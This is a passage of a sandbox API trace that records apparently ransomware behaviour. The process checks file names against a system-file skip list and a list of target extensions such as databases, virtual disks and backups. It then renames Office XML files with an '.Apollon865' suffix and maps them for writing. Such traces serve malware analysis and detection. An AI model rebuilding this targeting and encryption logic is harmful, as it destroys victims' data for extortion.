	[0069.709] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.710] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.710] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.710] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa550, lpName=0x0) returned 0x118
	[0069.712] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa550) returned 0x100000
	[0069.714] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.714] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.715] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.716] lstrcmpiW (lpString1="PGMN092.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.716] lstrcmpiW (lpString1="PGMN092.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.716] lstrcmpiW (lpString1="PGMN092.XML", lpString2=".") returned 1
	[0069.716] lstrcmpiW (lpString1="PGMN092.XML", lpString2="..") returned 1
	[0069.716] lstrcmpiW (lpString1="PGMN092.XML", lpString2="windows") returned -1
	[0069.716] lstrcmpiW (lpString1="PGMN092.XML", lpString2="bootmgr") returned 1
	[0069.716] lstrcmpiW (lpString1="PGMN092.XML", lpString2="temp") returned -1
	[0069.716] lstrcmpiW (lpString1="PGMN092.XML", lpString2="pagefile.sys") returned 1
	[0069.716] lstrcmpiW (lpString1="PGMN092.XML", lpString2="boot") returned 1
	[0069.716] lstrcmpiW (lpString1="PGMN092.XML", lpString2="ids.txt") returned 1
	[0069.716] lstrcmpiW (lpString1="PGMN092.XML", lpString2="ntuser.dat") returned 1
	[0069.716] lstrcmpiW (lpString1="PGMN092.XML", lpString2="perflogs") returned 1
	[0069.716] lstrcmpiW (lpString1="PGMN092.XML", lpString2="MSBuild") returned 1
	[0069.716] lstrlenW (lpString="PGMN092.XML") returned 11
	[0069.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN090.XML") returned 63
	[0069.716] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN092.XML" | out: lpString1="PGMN092.XML") returned="PGMN092.XML"
	[0069.716] lstrlenW (lpString="PGMN092.XML") returned 11
	[0069.716] lstrlenW (lpString="Apollon865") returned 10
	[0069.716] lstrcmpiW (lpString1="GMN092.XML", lpString2="Apollon865") returned 1
	[0069.716] lstrlenW (lpString=".dll") returned 4
	[0069.716] lstrcmpiW (lpString1="PGMN092.XML", lpString2=".dll") returned 1
	[0069.716] lstrlenW (lpString=".lnk") returned 4
	[0069.716] lstrcmpiW (lpString1="PGMN092.XML", lpString2=".lnk") returned 1
	[0069.716] lstrlenW (lpString=".ini") returned 4
	[0069.716] lstrcmpiW (lpString1="PGMN092.XML", lpString2=".ini") returned 1
	[0069.716] lstrlenW (lpString=".sys") returned 4
	[0069.716] lstrcmpiW (lpString1="PGMN092.XML", lpString2=".sys") returned 1
	[0069.716] lstrlenW (lpString="PGMN092.XML") returned 11
	[0069.716] lstrlenW (lpString="bak") returned 3
	[0069.716] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.716] lstrlenW (lpString="ba_") returned 3
	[0069.716] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.716] lstrlenW (lpString="dbb") returned 3
	[0069.716] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.716] lstrlenW (lpString="vmdk") returned 4
	[0069.717] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.717] lstrlenW (lpString="rar") returned 3
	[0069.717] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.717] lstrlenW (lpString="zip") returned 3
	[0069.717] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.717] lstrlenW (lpString="tgz") returned 3
	[0069.717] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.717] lstrlenW (lpString="vbox") returned 4
	[0069.717] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.717] lstrlenW (lpString="vdi") returned 3
	[0069.717] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.717] lstrlenW (lpString="vhd") returned 3
	[0069.717] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.717] lstrlenW (lpString="vhdx") returned 4
	[0069.717] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.717] lstrlenW (lpString="avhd") returned 4
	[0069.717] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.717] lstrlenW (lpString="db") returned 2
	[0069.717] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.717] lstrlenW (lpString="db2") returned 3
	[0069.717] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.717] lstrlenW (lpString="db3") returned 3
	[0069.717] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.717] lstrlenW (lpString="dbf") returned 3
	[0069.717] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.717] lstrlenW (lpString="mdf") returned 3
	[0069.717] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.717] lstrlenW (lpString="mdb") returned 3
	[0069.717] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.717] lstrlenW (lpString="sql") returned 3
	[0069.717] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.718] lstrlenW (lpString="sqlite") returned 6
	[0069.718] lstrcmpiW (lpString1="92.XML", lpString2="sqlite") returned -1
	[0069.718] lstrlenW (lpString="sqlite3") returned 7
	[0069.718] lstrcmpiW (lpString1="092.XML", lpString2="sqlite3") returned -1
	[0069.718] lstrlenW (lpString="sqlitedb") returned 8
	[0069.718] lstrcmpiW (lpString1="N092.XML", lpString2="sqlitedb") returned -1
	[0069.718] lstrlenW (lpString="xml") returned 3
	[0069.718] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.718] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN092.XML.Apollon865") returned 74
	[0069.718] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN092.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn092.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN092.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn092.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN092.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn092.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.721] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4072) returned 1
	[0069.722] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.722] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.722] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.723] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12f0, lpName=0x0) returned 0x118
	[0069.724] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12f0) returned 0x100000
	[0069.725] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.725] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.726] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.726] lstrcmpiW (lpString1="PGMN095.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.726] lstrcmpiW (lpString1="PGMN095.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.726] lstrcmpiW (lpString1="PGMN095.XML", lpString2=".") returned 1
	[0069.726] lstrcmpiW (lpString1="PGMN095.XML", lpString2="..") returned 1
	[0069.726] lstrcmpiW (lpString1="PGMN095.XML", lpString2="windows") returned -1
	[0069.726] lstrcmpiW (lpString1="PGMN095.XML", lpString2="bootmgr") returned 1
	[0069.726] lstrcmpiW (lpString1="PGMN095.XML", lpString2="temp") returned -1
	[0069.726] lstrcmpiW (lpString1="PGMN095.XML", lpString2="pagefile.sys") returned 1
	[0069.726] lstrcmpiW (lpString1="PGMN095.XML", lpString2="boot") returned 1
	[0069.726] lstrcmpiW (lpString1="PGMN095.XML", lpString2="ids.txt") returned 1
	[0069.726] lstrcmpiW (lpString1="PGMN095.XML", lpString2="ntuser.dat") returned 1
	[0069.726] lstrcmpiW (lpString1="PGMN095.XML", lpString2="perflogs") returned 1
	[0069.726] lstrcmpiW (lpString1="PGMN095.XML", lpString2="MSBuild") returned 1
	[0069.726] lstrlenW (lpString="PGMN095.XML") returned 11
	[0069.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN092.XML") returned 63
	[0069.726] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN095.XML" | out: lpString1="PGMN095.XML") returned="PGMN095.XML"
	[0069.726] lstrlenW (lpString="PGMN095.XML") returned 11
	[0069.727] lstrlenW (lpString="Apollon865") returned 10
	[0069.727] lstrcmpiW (lpString1="GMN095.XML", lpString2="Apollon865") returned 1
	[0069.727] lstrlenW (lpString=".dll") returned 4
	[0069.727] lstrcmpiW (lpString1="PGMN095.XML", lpString2=".dll") returned 1
	[0069.727] lstrlenW (lpString=".lnk") returned 4
	[0069.727] lstrcmpiW (lpString1="PGMN095.XML", lpString2=".lnk") returned 1
	[0069.727] lstrlenW (lpString=".ini") returned 4
	[0069.727] lstrcmpiW (lpString1="PGMN095.XML", lpString2=".ini") returned 1
	[0069.727] lstrlenW (lpString=".sys") returned 4
	[0069.727] lstrcmpiW (lpString1="PGMN095.XML", lpString2=".sys") returned 1
	[0069.727] lstrlenW (lpString="PGMN095.XML") returned 11
	[0069.727] lstrlenW (lpString="bak") returned 3
	[0069.727] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.727] lstrlenW (lpString="ba_") returned 3
	[0069.727] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.727] lstrlenW (lpString="dbb") returned 3
	[0069.727] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.727] lstrlenW (lpString="vmdk") returned 4
	[0069.727] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.727] lstrlenW (lpString="rar") returned 3
	[0069.727] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.727] lstrlenW (lpString="zip") returned 3
	[0069.727] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.727] lstrlenW (lpString="tgz") returned 3
	[0069.727] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.727] lstrlenW (lpString="vbox") returned 4
	[0069.727] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.727] lstrlenW (lpString="vdi") returned 3
	[0069.727] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.727] lstrlenW (lpString="vhd") returned 3
	[0069.727] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.727] lstrlenW (lpString="vhdx") returned 4
	[0069.727] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.727] lstrlenW (lpString="avhd") returned 4
	[0069.727] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.727] lstrlenW (lpString="db") returned 2
	[0069.727] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.728] lstrlenW (lpString="db2") returned 3
	[0069.728] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.728] lstrlenW (lpString="db3") returned 3
	[0069.728] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.728] lstrlenW (lpString="dbf") returned 3
	[0069.728] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.728] lstrlenW (lpString="mdf") returned 3
	[0069.728] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.728] lstrlenW (lpString="mdb") returned 3
	[0069.728] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.728] lstrlenW (lpString="sql") returned 3
	[0069.728] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.728] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN095.XML.Apollon865") returned 74
	[0069.728] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN095.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn095.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN095.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn095.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN095.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn095.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.729] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1962) returned 1
	[0069.729] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.730] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.730] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.730] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xab0, lpName=0x0) returned 0x118
	[0069.731] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xab0) returned 0x100000
	[0069.732] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.733] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.733] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.733] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN096.XML" | out: lpString1="PGMN096.XML") returned="PGMN096.XML"
	[0069.733] lstrlenW (lpString="PGMN096.XML") returned 11
	[0069.733] lstrlenW (lpString="Apollon865") returned 10
	[0069.733] lstrcmpiW (lpString1="GMN096.XML", lpString2="Apollon865") returned 1
	[0069.733] lstrlenW (lpString=".dll") returned 4
	[0069.733] lstrcmpiW (lpString1="PGMN096.XML", lpString2=".dll") returned 1
	[0069.733] lstrlenW (lpString=".lnk") returned 4
	[0069.733] lstrcmpiW (lpString1="PGMN096.XML", lpString2=".lnk") returned 1
	[0069.734] lstrlenW (lpString=".ini") returned 4
	[0069.734] lstrcmpiW (lpString1="PGMN096.XML", lpString2=".ini") returned 1
	[0069.734] lstrlenW (lpString=".sys") returned 4
	[0069.734] lstrcmpiW (lpString1="PGMN096.XML", lpString2=".sys") returned 1
	[0069.734] lstrlenW (lpString="PGMN096.XML") returned 11
	[0069.734] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN096.XML.Apollon865") returned 74
	[0069.734] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN096.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn096.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN096.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn096.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN096.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn096.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.735] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1916) returned 1
	[0069.735] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.735] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.735] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.736] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa80, lpName=0x0) returned 0x118
	[0069.737] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa80) returned 0x100000
	[0069.738] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.738] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.738] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.739] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN097.XML" | out: lpString1="PGMN097.XML") returned="PGMN097.XML"
	[0069.739] lstrlenW (lpString="PGMN097.XML") returned 11
	[0069.739] lstrlenW (lpString="Apollon865") returned 10
	[0069.739] lstrcmpiW (lpString1="GMN097.XML", lpString2="Apollon865") returned 1
	[0069.739] lstrlenW (lpString=".dll") returned 4
	[0069.739] lstrcmpiW (lpString1="PGMN097.XML", lpString2=".dll") returned 1
	[0069.739] lstrlenW (lpString=".lnk") returned 4
	[0069.739] lstrcmpiW (lpString1="PGMN097.XML", lpString2=".lnk") returned 1
	[0069.739] lstrlenW (lpString=".ini") returned 4
	[0069.739] lstrcmpiW (lpString1="PGMN097.XML", lpString2=".ini") returned 1
	[0069.739] lstrlenW (lpString=".sys") returned 4
	[0069.739] lstrcmpiW (lpString1="PGMN097.XML", lpString2=".sys") returned 1
	[0069.739] lstrlenW (lpString="PGMN097.XML") returned 11
	[0069.739] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN097.XML.Apollon865") returned 74
	[0069.739] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN097.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn097.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN097.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn097.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN097.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn097.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.740] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=70692) returned 1
	[0069.740] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.741] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.741] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.741] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11730, lpName=0x0) returned 0x118
	[0069.743] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11730) returned 0x120000
	[0069.746] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.746] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.746] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.748] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN102.XML" | out: lpString1="PGMN102.XML") returned="PGMN102.XML"
	[0069.748] lstrlenW (lpString="PGMN102.XML") returned 11
	[0069.748] lstrlenW (lpString="Apollon865") returned 10
	[0069.748] lstrcmpiW (lpString1="GMN102.XML", lpString2="Apollon865") returned 1
	[0069.748] lstrlenW (lpString=".dll") returned 4
	[0069.748] lstrcmpiW (lpString1="PGMN102.XML", lpString2=".dll") returned 1
	[0069.748] lstrlenW (lpString=".lnk") returned 4
	[0069.748] lstrcmpiW (lpString1="PGMN102.XML", lpString2=".lnk") returned 1
	[0069.749] lstrlenW (lpString=".ini") returned 4
	[0069.749] lstrcmpiW (lpString1="PGMN102.XML", lpString2=".ini") returned 1
	[0069.749] lstrlenW (lpString=".sys") returned 4
	[0069.749] lstrcmpiW (lpString1="PGMN102.XML", lpString2=".sys") returned 1
	[0069.749] lstrlenW (lpString="PGMN102.XML") returned 11
	[0069.749] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN102.XML.Apollon865") returned 74
	[0069.749] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN102.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn102.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN102.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn102.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN102.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn102.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.750] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=34916) returned 1
	[0069.750] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.751] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.751] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.751] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b70, lpName=0x0) returned 0x118
	[0069.752] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b70) returned 0x100000
	[0069.754] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.755] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.755] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.756] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN103.XML" | out: lpString1="PGMN103.XML") returned="PGMN103.XML"
	[0069.756] lstrlenW (lpString="PGMN103.XML") returned 11
	[0069.756] lstrlenW (lpString="Apollon865") returned 10
	[0069.756] lstrcmpiW (lpString1="GMN103.XML", lpString2="Apollon865") returned 1
	[0069.756] lstrlenW (lpString=".dll") returned 4
	[0069.756] lstrcmpiW (lpString1="PGMN103.XML", lpString2=".dll") returned 1
	[0069.756] lstrlenW (lpString=".lnk") returned 4
	[0069.756] lstrcmpiW (lpString1="PGMN103.XML", lpString2=".lnk") returned 1
	[0069.756] lstrlenW (lpString=".ini") returned 4
	[0069.756] lstrcmpiW (lpString1="PGMN103.XML", lpString2=".ini") returned 1
	[0069.756] lstrlenW (lpString=".sys") returned 4
	[0069.756] lstrcmpiW (lpString1="PGMN103.XML", lpString2=".sys") returned 1
	[0069.756] lstrlenW (lpString="PGMN103.XML") returned 11
	[0069.756] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN103.XML.Apollon865") returned 74
	[0069.756] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN103.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn103.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN103.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn103.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN103.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn103.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.759] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=56844) returned 1
	[0069.759] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.760] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.760] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
